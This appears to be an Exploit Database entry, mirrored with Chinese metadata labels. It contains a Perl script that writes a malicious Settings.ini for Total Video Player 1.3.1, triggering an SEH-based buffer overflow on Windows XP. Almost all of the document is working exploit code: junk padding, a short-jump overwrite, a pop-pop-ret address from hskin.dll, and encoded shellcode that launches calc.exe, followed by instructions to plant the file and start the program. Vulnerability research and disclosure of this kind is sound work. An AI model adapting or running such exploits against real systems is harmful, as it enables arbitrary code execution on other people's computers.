Total Video Player 1.3.1 – ‘Settings.ini’ Local Buffer Overflow (SEH)

• Exploit Database
• 13 阅读

• 作者： Mike Czumak
  日期： 2013-11-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/29799/

• #!/usr/bin/perl
  
  #################################################################################################
  # Exploit Title: Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow
  # Date: 11-24-2013
  # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
  # Vulnerable Software: Total Video Player 1.3.1 (http://www.effectmatrix.com/total-video-player/)
  # Software Link: http://download.cnet.com/Total-Video-Player/3000-2139_4-10552696.html
  # Version: 1.3.1
  # Tested On: Windows XP SP3
  # To Exploit:
  # - Replace Settings.ini file in program folder (e.g., "C:\Program Files\Total Video Player") 
  # - Start Application 
  #################################################################################################
  
  my $buffsize = 5000; # sets buffer size for consistent sized payload
  my $header = "[Support Groups]\r\nVideo="; # start of ini file
  my $footer = "\r\n[AssociateType]\r\nAssociateType =1"; # end of ini file (after buffer)
  my $junk = "\x41" x 256; # offset to seh overwrite 
  my $nseh = "\xeb\x14\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
  my $seh = pack('V',0x10012848); # pop ebx pop ebp ret(C:\Program Files\Total Video Player\hskin.dll)
  				# ASLR: False, Rebase: False, SafeSEH: False, OS: False 
  my $nops = "\x90" x 20; 
  
  # Calc.exe payload [size 227]
  # msfpayload windows/exec CMD=calc.exe R | 
  # msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
  my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
  "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
  "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
  "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
  "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
  "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
  "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
  "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
  "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
  "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
  "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
  "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
  "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
  "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
  "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
  "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
  "\x9a\xca\xc0";
  
  my $sploit = $header.$junk.$nseh.$seh.$nops.$shell.$footer; # build spoit portion of buffer
  my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk for consistent size 
  my $buffer = $sploit.$fill; # build final buffer
  
  # write the exploit buffer to file
  my $file = "Settings.ini";
  open(FILE, ">$file");
  print FILE $buffer;
  close(FILE);
  print "Exploit file created [" . $file . "]\n";
  print "Buffer size: " . length($buffer) . "\n";